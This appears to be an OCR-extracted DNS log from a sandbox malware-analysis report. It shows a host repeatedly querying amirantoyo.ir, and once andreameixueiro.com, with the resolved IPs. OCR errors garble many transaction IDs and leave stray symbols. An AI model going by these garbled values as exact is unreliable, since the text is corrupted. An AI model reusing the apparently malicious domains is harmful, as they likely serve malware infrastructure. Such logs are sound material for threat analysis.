Jul 20, 2021 18:40:01.694191933 CEST 192.168.2.4 8.8.8.8 0x4b8f Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0

Jul 20, 2021 18:40:02.180763960 CEST 192.168.2.4 8.8.8.8 0x6a58 Standard query  amirantoyo.ir A (IP address) IN (0x0001)

©)
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Jul 20, 2021 18:40:02.669858932 CEST 192.168.2.4 8.8.8.8 0xc039 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:40:03.203233957 CEST 192.168.2.4 8.8.8.8 0x2711 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0

Jul 20, 2021 18:40:03.748203039 CEST 192.168.2.4 8.8.8.8 Oxd45e Standard query ~ amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:40:04.264776945 CEST 192.168.2.4 8.8.8.8 0x7867 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0

Jul 20, 2021 18:40:04.742063999 CEST 192.168.2.4 8.8.8.8 0x24a9 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0

Jul 20, 2021 18:40:05.220246077 CEST 192.168.2.4 8.8.8.8 0xa644 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:40:05.741245985 CEST 192.168.2.4 8.8.8.8 Oxca70 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0)

Jul 20, 2021 18:40:06.224589109 CEST 192.168.2.4 8.8.8.8 0x5ad9 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0

Jul 20, 2021 18:40:06.754779100 CEST 192.168.2.4 8.8.8.8 0x2317 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:40:07.272685051 CEST 192.168.2.4 8.8.8.8 0xb552 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0

Jul 20, 2021 18:40:07.793914080 CEST 192.168.2.4 8.8.8.8 0xal30 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
@

Jul 20, 2021 18:40:08.312556982 CEST 192.168.2.4 8.8.8.8 0x6le7 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:40:08.983572006 CEST 192.168.2.4 8.8.8.8 Oxaa85 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
()

Jul 20, 2021 18:40:09.471767902 CEST 192.168.2.4 8.8.8.8 0x111b Standard query  amirantoyo.ir A (IP address) IN (0x0001)
©)

Jul 20, 2021 18:40:09.962999105 CEST 192.168.2.4 8.8.8.8 0x59cf Standard query  amirantoyo.ir A (IP address) IN (0x0001)
()

Jul 20, 2021 18:40:10.449875116 CEST 192.168.2.4 8.8.8.8 0x93be Standard query  amirantoyo.ir A (IP address) IN (0x0001)
()

Jul 20, 2021 18:40:10.989780903 CEST 192.168.2.4 8.8.8.8 0xbd97 Standard query ~ amirantoyo.ir A (IP address) IN (0x0001)
©)

Jul 20, 2021 18:40:11.824863911 CEST 192.168.2.4 8.8.8.8 Oxald3 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
()

Jul 20, 2021 18:40:12.708225965 CEST 192.168.2.4 8.8.8.8 0x4181 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:40:14.005404949 CEST 192.168.2.4 8.8.8.8 Oxead2 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:40:14.502315998 CEST 192.168.2.4 8.8.8.8 0x8e42 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:40:15.009458065 CEST 192.168.2.4 8.8.8.8 Oxe3le Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:40:15.564141989 CEST 192.168.2.4 8.8.8.8 0x2945 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:40:16.075499058 CEST 192.168.2.4 8.8.8.8 0xcf00 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:40:16.510637045 CEST 192.168.2.4 8.8.8.8 Oxfd4c Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:40:16.986005068 CEST 192.168.2.4 8.8.8.8 Oxe6a2 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:40:17.452959061 CEST 192.168.2.4 8.8.8.8 0xc04c Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:40:17.952259064 CEST 192.168.2.4 8.8.8.8 0x9f8d Standard query  amirantoyo.ir A (IP address) IN (0x0001)
)

Jul 20, 2021 18:40:18.420202017 CEST 192.168.2.4 8.8.8.8 0xe775 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:40:18.910754919 CEST 192.168.2.4 8.8.8.8 0xf42d Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:40:19.439421892 CEST 192.168.2.4 8.8.8.8 Oxfaf2 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:40:19.947184086 CEST 192.168.2.4 8.8.8.8 0x595 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:40:20.431646109 CEST 192.168.2.4 8.8.8.8 0xe22b Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:40:20.932101011 CEST 192.168.2.4 8.8.8.8 0xf918 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
©

Jul 20, 2021 18:40:21.457561970 CEST 192.168.2.4 8.8.8.8 0x497c Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:40:22.003731012 CEST 192.168.2.4 8.8.8.8 Oxb64a Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0

Jul 20, 2021 18:40:22.497556925 CEST 192.168.2.4 8.8.8.8 0x363a Standard query  amirantoyo.ir A (IP address) IN (0x0001)

©)
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Jul 20, 2021 18:40:22.998271942 CEST 192.168.2.4 8.8.8.8 0x1223 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0

Jul 20, 2021 18:40:23.496139050 CEST 192.168.2.4 8.8.8.8 0x383a Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0

Jul 20, 2021 18:40:24.216576099 CEST 192.168.2.4 8.8.8.8 Oxdaf6 Standard query ~ amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:40:24.762535095 CEST 192.168.2.4 8.8.8.8 Oxc4c6 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:40:25.269808054 CEST 192.168.2.4 8.8.8.8 0xd51b Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0

Jul 20, 2021 18:40:25.758402109 CEST 192.168.2.4 8.8.8.8 0x200d Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:40:26.262988091 CEST 192.168.2.4 8.8.8.8 Oxe421 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:40:26.752713919 CEST 192.168.2.4 8.8.8.8 0x47fa Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0

Jul 20, 2021 18:40:27.283360958 CEST 192.168.2.4 8.8.8.8 0x286b Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:40:27.757606030 CEST 192.168.2.4 8.8.8.8 Ox2ec? Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0

Jul 20, 2021 18:40:28.431497097 CEST 192.168.2.4 8.8.8.8 0x6618 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
@

Jul 20, 2021 18:40:28.938286066 CEST 192.168.2.4 8.8.8.8 0x60d8 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
©

Jul 20, 2021 18:40:29.426908016 CEST 192.168.2.4 8.8.8.8 0x7b38 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
()

Jul 20, 2021 18:40:29.925405979 CEST 192.168.2.4 8.8.8.8 0x455b Standard query  amirantoyo.ir A (IP address) IN (0x0001)
©)

Jul 20, 2021 18:40:30.439517021 CEST 192.168.2.4 8.8.8.8 0xd8e8 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
()

Jul 20, 2021 18:40:30.963027954 CEST 192.168.2.4 8.8.8.8 0Oxc26a Standard query  amirantoyo.ir A (IP address) IN (0x0001)
()

Jul 20, 2021 18:40:31.494328022 CEST 192.168.2.4 8.8.8.8 0x93c2 Standard query ~ amirantoyo.ir A (IP address) IN (0x0001)
©)

Jul 20, 2021 18:40:32.023202896 CEST 192.168.2.4 8.8.8.8 0x6elb Standard query ~ amirantoyo.ir A (IP address) IN (0x0001)
()

Jul 20, 2021 18:40:32.545620918 CEST 192.168.2.4 8.8.8.8 0Oxdc08 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:40:33.085860968 CEST 192.168.2.4 8.8.8.8 0xd585 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
()

Jul 20, 2021 18:40:33.626409054 CEST 192.168.2.4 8.8.8.8 0x59ba Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:40:34.157345057 CEST 192.168.2.4 8.8.8.8 0x704f Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:40:34.676780939 CEST 192.168.2.4 8.8.8.8 Oxba43 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:40:35.193399906 CEST 192.168.2.4 8.8.8.8 0x3al9 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:40:35.710171938 CEST 192.168.2.4 8.8.8.8 0x359b Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:40:36.244821072 CEST 192.168.2.4 8.8.8.8 0x8299 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:40:36.788088083 CEST 192.168.2.4 8.8.8.8 0xb5bb Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:40:37.358011007 CEST 192.168.2.4 8.8.8.8 0xf575 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
)

Jul 20, 2021 18:40:37.859554052 CEST 192.168.2.4 8.8.8.8 Oxladd Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:40:38.374715090 CEST 192.168.2.4 8.8.8.8 Ox4e7c Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:40:38.894135952 CEST 192.168.2.4 8.8.8.8 0xel73 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:40:39.430480957 CEST 192.168.2.4 8.8.8.8 0x8531 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:40:39.977828979 CEST 192.168.2.4 8.8.8.8 Ox4fe9 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:40:40.513135910 CEST 192.168.2.4 8.8.8.8 0xbf09 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
©

Jul 20, 2021 18:40:41.049628019 CEST 192.168.2.4 8.8.8.8 Oxeal4d Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:40:41.564225912 CEST 192.168.2.4 8.8.8.8 ox7f Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:40:42.106398106 CEST 192.168.2.4 8.8.8.8 0x621b Standard query  amirantoyo.ir A (IP address) IN (0x0001)

©)
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Jul 20, 2021 18:40:42.657088041 CEST 192.168.2.4 8.8.8.8 0xf27¢c Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:40:43.285275936 CEST 192.168.2.4 8.8.8.8 Oxch91 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0

Jul 20, 2021 18:40:43.809595108 CEST 192.168.2.4 8.8.8.8 0x424f Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:40:44.369041920 CEST 192.168.2.4 8.8.8.8 0xb517 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0

Jul 20, 2021 18:40:44.897527933 CEST 192.168.2.4 8.8.8.8 0x4ffo Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:40:45.410717964 CEST 192.168.2.4 8.8.8.8 0x2b77 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:40:45.898643970 CEST 192.168.2.4 8.8.8.8 0x943d Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0)

Jul 20, 2021 18:40:46.470352888 CEST 192.168.2.4 8.8.8.8 0x94d7 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0

Jul 20, 2021 18:40:47.001312971 CEST 192.168.2.4 8.8.8.8 Oxc2ch Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:40:47.540020943 CEST 192.168.2.4 8.8.8.8 0xc7f5 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:40:48.033972979 CEST 192.168.2.4 8.8.8.8 0xc813 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
@

Jul 20, 2021 18:40:48.588187933 CEST 192.168.2.4 8.8.8.8 0x5445 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:40:49.111392975 CEST 192.168.2.4 8.8.8.8 0xc89a Standard query  amirantoyo.ir A (IP address) IN (0x0001)
()

Jul 20, 2021 18:40:49.634082079 CEST 192.168.2.4 8.8.8.8 0x6d78 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
©)

Jul 20, 2021 18:40:50.188620090 CEST 192.168.2.4 8.8.8.8 0xcbb3 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
()

Jul 20, 2021 18:40:50.696986914 CEST 192.168.2.4 8.8.8.8 Ox5eea Standard query  amirantoyo.ir A (IP address) IN (0x0001)
©)

Jul 20, 2021 18:40:51.225656033 CEST 192.168.2.4 8.8.8.8 0x2a Standard query ~ amirantoyo.ir A (IP address) IN (0x0001)
©)

Jul 20, 2021 18:40:51.773895025 CEST 192.168.2.4 8.8.8.8 0x3bbc Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:40:52.312803984 CEST 192.168.2.4 8.8.8.8 0x40cd Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:40:52.865360975 CEST 192.168.2.4 8.8.8.8 0x47e6 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:40:53.365514040 CEST 192.168.2.4 8.8.8.8 0x279a Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:40:53.895220995 CEST 192.168.2.4 8.8.8.8 Oxaa02 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:40:54.368385077 CEST 192.168.2.4 8.8.8.8 Oxe83a Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:40:54.856302977 CEST 192.168.2.4 8.8.8.8 0x83f6 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:40:55.359035969 CEST 192.168.2.4 8.8.8.8 0x5d0c Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:40:55.873089075 CEST 192.168.2.4 8.8.8.8 0x98f2 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:40:56.419926882 CEST 192.168.2.4 8.8.8.8 0xe65f Standard query  amirantoyo.ir A (IP address) IN (0x0001)
)

Jul 20, 2021 18:40:56.909951925 CEST 192.168.2.4 8.8.8.8 0xf8a2 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
)

Jul 20, 2021 18:40:57.346815109 CEST 192.168.2.4 8.8.8.8 0x94el Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:40:57.789218903 CEST 192.168.2.4 8.8.8.8 Oxde37 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:40:58.226990938 CEST 192.168.2.4 8.8.8.8 0x83b6 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:40:58.668230057 CEST 192.168.2.4 8.8.8.8 Ox66ac Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0)

Jul 20, 2021 18:40:59.123366117 CEST 192.168.2.4 8.8.8.8 0xe526 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:40:59.573220015 CEST 192.168.2.4 8.8.8.8 0x49cb Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:41:00.035929918 CEST 192.168.2.4 8.8.8.8 Oxeba4 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
©

Jul 20, 2021 18:41:00.487986088 CEST 192.168.2.4 8.8.8.8 0x505 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0

Jul 20, 2021 18:41:00.946785927 CEST 192.168.2.4 8.8.8.8 0xfa92 Standard query  amirantoyo.ir A (IP address) IN (0x0001)

©)
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Jul 20, 2021 18:41:01.393512011 CEST 192.168.2.4 8.8.8.8 0x5877 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:41:01.843678951 CEST 192.168.2.4 8.8.8.8 OxeaOf Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0

Jul 20, 2021 18:41:02.292926073 CEST 192.168.2.4 8.8.8.8 0x36¢9 Standard query ~ amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:41:02.730633020 CEST 192.168.2.4 8.8.8.8 Oxcabe Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0

Jul 20, 2021 18:41:03.177623987 CEST 192.168.2.4 8.8.8.8 0xb37e Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0

Jul 20, 2021 18:41:03.629822016 CEST 192.168.2.4 8.8.8.8 Oxbcbe Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:41:04.099020958 CEST 192.168.2.4 8.8.8.8 0xbdfé Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0)

Jul 20, 2021 18:41:04.529838085 CEST 192.168.2.4 8.8.8.8 0x72f Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0

Jul 20, 2021 18:41:04.981033087 CEST 192.168.2.4 8.8.8.8 Oxdead Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:41:05.435439110 CEST 192.168.2.4 8.8.8.8 0x735d Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:41:05.905213118 CEST 192.168.2.4 8.8.8.8 0x84ba Standard query  amirantoyo.ir A (IP address) IN (0x0001)
@

Jul 20, 2021 18:41:06.355022907 CEST 192.168.2.4 8.8.8.8 0x560e Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:41:06.804379940 CEST 192.168.2.4 8.8.8.8 0xc22a Standard query  amirantoyo.ir A (IP address) IN (0x0001)
()

Jul 20, 2021 18:41:07.272546053 CEST 192.168.2.4 8.8.8.8 Oxc6ba Standard query  amirantoyo.ir A (IP address) IN (0x0001)
©)

Jul 20, 2021 18:41:07.722415924 CEST 192.168.2.4 8.8.8.8 0x9dec Standard query  amirantoyo.ir A (IP address) IN (0x0001)
()

Jul 20, 2021 18:41:08.178196907 CEST 192.168.2.4 8.8.8.8 0x8b1 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
()

Jul 20, 2021 18:41:08.614218950 CEST 192.168.2.4 8.8.8.8 0x8cch Standard query ~ amirantoyo.ir A (IP address) IN (0x0001)
©)

Jul 20, 2021 18:41:09.045614004 CEST 192.168.2.4 8.8.8.8 0x10f3 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:41:09.527903080 CEST 192.168.2.4 8.8.8.8 0x970e Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:41:09.996577978 CEST 192.168.2.4 8.8.8.8 Oxa52a Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:41:10.468281031 CEST 192.168.2.4 8.8.8.8 Oxa9ea Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:41:10.962786913 CEST 192.168.2.4 8.8.8.8 Oxecf4 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:41:11.411380053 CEST 192.168.2.4 8.8.8.8 0x3cc Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:41:11.840533018 CEST 192.168.2.4 8.8.8.8 0x9e4 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:41:12.315994978 CEST 192.168.2.4 8.8.8.8 0x470b Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:41:12.777436972 CEST 192.168.2.4 8.8.8.8 0x5fdc Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:41:13.239917994 CEST 192.168.2.4 8.8.8.8 0xa04b Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:41:13.667150974 CEST 192.168.2.4 8.8.8.8 Oxbada Standard query  amirantoyo.ir A (IP address) IN (0x0001)
)

DNS Answers

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Jul 20, 2021 8.8.8.8 192.168.2.4 0x5¢53 No error (0) andreameix 199.195.117.165 A (IP address)  IN (0x0001)

18:36:21.125221968 ueiro.com

CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Oxad6 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)

18:36:23.842634916

CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Oxefdc No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)

18:36:24.331281900

CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x29a6 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)

18:36:24.714379072

CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x9fle No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)

18:36:25.218575001

CEST
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Jul 20, 2021 8.8.8.8 192.168.2.4 Oxea95 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:36:25.745651007
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x606¢c No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:36:26.245968103
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0xfb18 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:36:26.763402939
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0xe381 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:36:27.272835970
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Oxba2e No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:36:27.772995949
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Ox6fea No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:36:28.270703077
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0xdb2b No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:36:28.786925077
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Oxe731 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:36:29.262568951
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0xc9c0 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:36:29.740839005
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Ooxfb7a No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:36:30.210652113
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0xd81f No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:36:30.706684113
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x587a No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:36:31.227006912
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x7a96 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:36:31.703217030
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Oxebe7 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:36:32.196383953
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0Oxc6be No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:36:32.676881075
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x3121 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:36:33.152399063
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Oxbcdd No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:36:33.643589973
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x677d No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:36:34.130125999
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x2cb4 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:36:34.607547998
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0xb8f3 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:36:35.085226059
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x26ba No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:36:35.573667049
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Oxcabe No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:36:36.079895020
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x8d55 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:36:36.560009956
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Ox51ca No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:36:37.059130907
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x19c6 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:36:37.535613060
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0xb95e No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:36:38.024669886
CEST
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Jul 20, 2021 8.8.8.8 192.168.2.4 0xcc78 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:36:38.525615931
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Oxaeec No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:36:38.991312027
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x85¢c2 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:36:39.476803064
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Oxbc4f No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:36:39.935616970
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x527e No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:36:40.402796984
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x5639 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:36:40.869183064
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Ox7ela No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:36:41.333467007
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Oxe2bc No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:36:41.804524899
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Ox4ca8 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:36:42.260725975
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Oxbacf No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:36:42.765213966
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x54c6 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:36:43.244041920
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x619c No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:36:43.720485926
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x5ff0 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:36:44.163820982
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x6f43 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:36:44.610466957
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x353d No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:36:45.069065094
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x39c5 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:36:45.530349016
CEST

